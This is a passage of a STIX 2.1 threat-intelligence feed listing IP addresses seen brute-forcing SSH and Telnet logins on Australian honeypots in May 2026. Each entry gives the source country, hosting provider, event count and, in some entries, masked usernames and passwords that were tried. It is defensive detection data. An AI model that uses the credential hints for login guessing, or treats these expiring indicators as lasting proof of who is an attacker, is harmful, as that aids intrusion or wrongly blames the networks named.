      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--bfae77f7-efb8-4156-a899-2c5c964ef309",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T10:15:10.000Z",
      "valid_until": "2026-06-14T10:15:08.000Z"
    },
    {
      "created": "2026-05-13T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--1bbd3aa8-08da-4127-afbb-228e3c9ee78e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '207.180.221.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T10:15:10.000Z",
      "valid_until": "2026-06-14T10:15:08.000Z"
    },
    {
      "created": "2026-05-13T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 257. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, %**@, 1****2, 1**7.",
      "id": "indicator--26e129f2-ac8a-4b8f-8f76-8145e29e0f29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '217.154.192.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T10:15:10.000Z",
      "valid_until": "2026-06-14T10:15:08.000Z"
    },
    {
      "created": "2026-05-13T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t. Passwords observed (masked): f******d.",
      "id": "indicator--8adac513-7fba-46a2-8630-f63ef2d88d40",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.160.206.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T10:15:10.000Z",
      "valid_until": "2026-06-14T10:15:08.000Z"
    },
    {
      "created": "2026-05-13T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--eb291cfa-ef13-414d-9f77-915d7c620379",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.255.204.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T10:15:10.000Z",
      "valid_until": "2026-06-14T10:15:08.000Z"
    },
    {
      "created": "2026-05-13T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 24158. Organisation(s): Taiwan Mobile Co., Ltd..",
      "id": "indicator--ced0df54-da2d-4352-9e9d-1c5c973bea5b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.13.10.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T11:15:10.000Z",
      "valid_until": "2026-06-14T11:15:08.000Z"
    },
    {
      "created": "2026-05-13T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 45. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1*******3, 1****6, 1******R, 4******7, g***3.",
      "id": "indicator--18003166-e91c-4cce-a83b-d4ffb9599062",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.190.37.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T11:15:10.000Z",
      "valid_until": "2026-06-14T11:15:08.000Z"
    },
    {
      "created": "2026-05-13T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r**t. Passwords observed (masked): d****n, u****u.",
      "id": "indicator--f741fb83-a402-4d95-bd50-61feec83b50c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.221.160.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T11:15:10.000Z",
      "valid_until": "2026-06-14T11:15:08.000Z"
    },
    {
      "created": "2026-05-13T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: BR. ASN(s): 53096. Organisation(s): Bnet Telecomunicacoes Ltda.",
      "id": "indicator--24c2dcc4-a792-4a32-84e3-72767932e9f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.102.82.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T11:15:10.000Z",
      "valid_until": "2026-06-14T11:15:08.000Z"
    },
    {
      "created": "2026-05-13T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 11664. Organisation(s): Techtel LMDS Comunicaciones Interactivas S.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 0******7, 1*******0, 1*******3, 1****6, 1****6.",
      "id": "indicator--affec0bc-257b-41e3-a983-8964afbbde71",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.221.50.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T11:15:10.000Z",
      "valid_until": "2026-06-14T11:15:08.000Z"
    },
    {
      "created": "2026-05-13T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): r**t, a***n. Passwords observed (masked): , a***n, r**t.",
      "id": "indicator--d6006725-081e-4618-abbc-8155f8083c69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.32.162.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T11:15:10.000Z",
      "valid_until": "2026-06-14T11:15:08.000Z"
    },
    {
      "created": "2026-05-13T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--c37b4d54-b638-4897-b3b9-5724ae4454ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.29.56.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T11:15:10.000Z",
      "valid_until": "2026-06-14T11:15:08.000Z"
    },
    {
      "created": "2026-05-13T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 138115. Organisation(s): PT Deneva. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--5224b155-e00f-4d32-8fbd-f1a5d12ed957",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.155.18.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T11:15:10.000Z",
      "valid_until": "2026-06-14T11:15:08.000Z"
    },
    {
      "created": "2026-05-13T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--f4d813a4-b10b-443b-a236-132f7950a2af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '61.76.177.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T11:15:10.000Z",
      "valid_until": "2026-06-14T11:15:08.000Z"
    },
    {
      "created": "2026-05-13T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 260. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NG. ASN(s): 29091. Organisation(s): IPNXng. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******4, 1*******#, 2**9.",
      "id": "indicator--ffdf6ac7-8697-4902-9a09-aa43c520e26d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.173.38.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T11:15:10.000Z",
      "valid_until": "2026-06-14T11:15:08.000Z"
    },
    {
      "created": "2026-05-13T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 19108. Organisation(s): Optimum.",
      "id": "indicator--0a67aec2-f6de-4e5c-90c3-7fef443fffdc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '75.111.120.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T11:15:10.000Z",
      "valid_until": "2026-06-14T11:15:08.000Z"
    },
    {
      "created": "2026-05-13T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--2d691a6c-6076-4ba4-963b-b1ddd43c2dd3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.237.147.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T12:15:11.000Z",
      "valid_until": "2026-06-14T12:15:08.000Z"
    },
    {
      "created": "2026-05-13T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--c25a7075-fd62-453f-a17d-af65363cbf49",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.107.237.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T12:15:11.000Z",
      "valid_until": "2026-06-14T12:15:08.000Z"
    },
    {
      "created": "2026-05-13T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--eae72264-9825-4199-9ed5-5e70c3bfca43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.106.36.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T12:15:11.000Z",
      "valid_until": "2026-06-14T12:15:08.000Z"
    },
    {
      "created": "2026-05-13T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 29119. Organisation(s): Aire Networks Del Mediterraneo Sl Unipersonal.",
      "id": "indicator--2f14aa99-aa53-48c2-80db-f06765fb1be4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.165.249.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T12:15:11.000Z",
      "valid_until": "2026-06-14T12:15:08.000Z"
    },
    {
      "created": "2026-05-13T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL.",
      "id": "indicator--d99fad87-3819-42ab-9b4a-7948c4a556bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.177.179.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T12:15:11.000Z",
      "valid_until": "2026-06-14T12:15:08.000Z"
    },
    {
      "created": "2026-05-13T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28210. Organisation(s): GIGA MAIS FIBRA TELECOMUNICACOES S.A..",
      "id": "indicator--a516f8b0-5183-42b9-b57d-36c2b1fecc40",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.232.133.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T12:15:11.000Z",
      "valid_until": "2026-06-14T12:15:08.000Z"
    },
    {
      "created": "2026-05-13T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17747. Organisation(s): SITI NETWORKS LIMITED.",
      "id": "indicator--b1a36896-3e52-4938-8819-c19e4f2ff757",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.249.85.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T12:15:11.000Z",
      "valid_until": "2026-06-14T12:15:08.000Z"
    },
    {
      "created": "2026-05-13T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--cc28dda6-096c-4e89-8f15-38b9495bb04c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.242.111.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T12:15:11.000Z",
      "valid_until": "2026-06-14T12:15:08.000Z"
    },
    {
      "created": "2026-05-13T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--f0912112-b13a-4795-93f0-3949ae5c98e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T12:15:11.000Z",
      "valid_until": "2026-06-14T12:15:08.000Z"
    },
    {
      "created": "2026-05-13T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 35645. Organisation(s): Limited Liability Company VLADINFO.",
      "id": "indicator--27908136-4526-4a2b-8012-335d4bf11d88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.66.145.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T12:15:11.000Z",
      "valid_until": "2026-06-14T12:15:08.000Z"
    },
    {
      "created": "2026-05-13T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--3eef7f70-ea12-4dc4-86ae-4fe5c3e96484",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.95.142.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T13:15:10.000Z",
      "valid_until": "2026-06-14T13:15:08.000Z"
    },
    {
      "created": "2026-05-13T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 4713. Organisation(s): NTT DOCOMO BUSINESS,Inc..",
      "id": "indicator--727b9b1b-7e72-4b1b-bdca-8c47b9e20a3a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '153.134.53.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T13:15:10.000Z",
      "valid_until": "2026-06-14T13:15:08.000Z"
    },
    {
      "created": "2026-05-13T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 215590. Organisation(s): DpkgSoft International Limited. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--a232bd29-693e-40d2-94d6-e9a7cab0e9aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.26.104.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T13:15:10.000Z",
      "valid_until": "2026-06-14T13:15:08.000Z"
    },
    {
      "created": "2026-05-13T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 136907. Organisation(s): HUAWEI CLOUDS.",
      "id": "indicator--2dca7bc7-3320-4bf0-8c17-ac15465ef168",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '203.123.87.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T13:15:10.000Z",
      "valid_until": "2026-06-14T13:15:08.000Z"
    },
    {
      "created": "2026-05-13T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 12768. Organisation(s): JSC ER-Telecom Holding.",
      "id": "indicator--64e8e887-56a3-4782-a5f8-3572aebe21ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '212.33.235.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T13:15:10.000Z",
      "valid_until": "2026-06-14T13:15:08.000Z"
    },
    {
      "created": "2026-05-13T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UA. ASN(s): 42655. Organisation(s): ON-LINE Ltd.",
      "id": "indicator--8af56575-8653-46d2-a9dd-e1c589a883e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.41.222.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T13:15:10.000Z",
      "valid_until": "2026-06-14T13:15:08.000Z"
    },
    {
      "created": "2026-05-13T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): a***n. Passwords observed (masked): a****3.",
      "id": "indicator--77533c1f-4da7-4c57-9d41-2cfcbf436490",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.187.244.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T13:15:10.000Z",
      "valid_until": "2026-06-14T13:15:08.000Z"
    },
    {
      "created": "2026-05-13T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 12876. Organisation(s): Scaleway SAS.",
      "id": "indicator--9c2acf61-8fd9-4ef1-850b-c52f0be3199b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.158.205.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T13:15:10.000Z",
      "valid_until": "2026-06-14T13:15:08.000Z"
    },
    {
      "created": "2026-05-13T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CZ. ASN(s): 47585. Organisation(s): Yigit Hosting Bilisim E-Ticaret Gida Sanayi Ticaret Limited Sirketi. Usernames observed (masked): r**t. Passwords observed (masked): h****3, w****w.",
      "id": "indicator--b2df5b47-6e4b-4d4e-b91b-2f7341fa5fa6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.76.230.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T13:15:10.000Z",
      "valid_until": "2026-06-14T13:15:08.000Z"
    },
    {
      "created": "2026-05-13T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PS. ASN(s): 12975. Organisation(s): Palestine Telecommunications Company (PALTEL).",
      "id": "indicator--a6141eca-dccf-4f23-9a39-f4e9579bbadf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '82.205.96.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
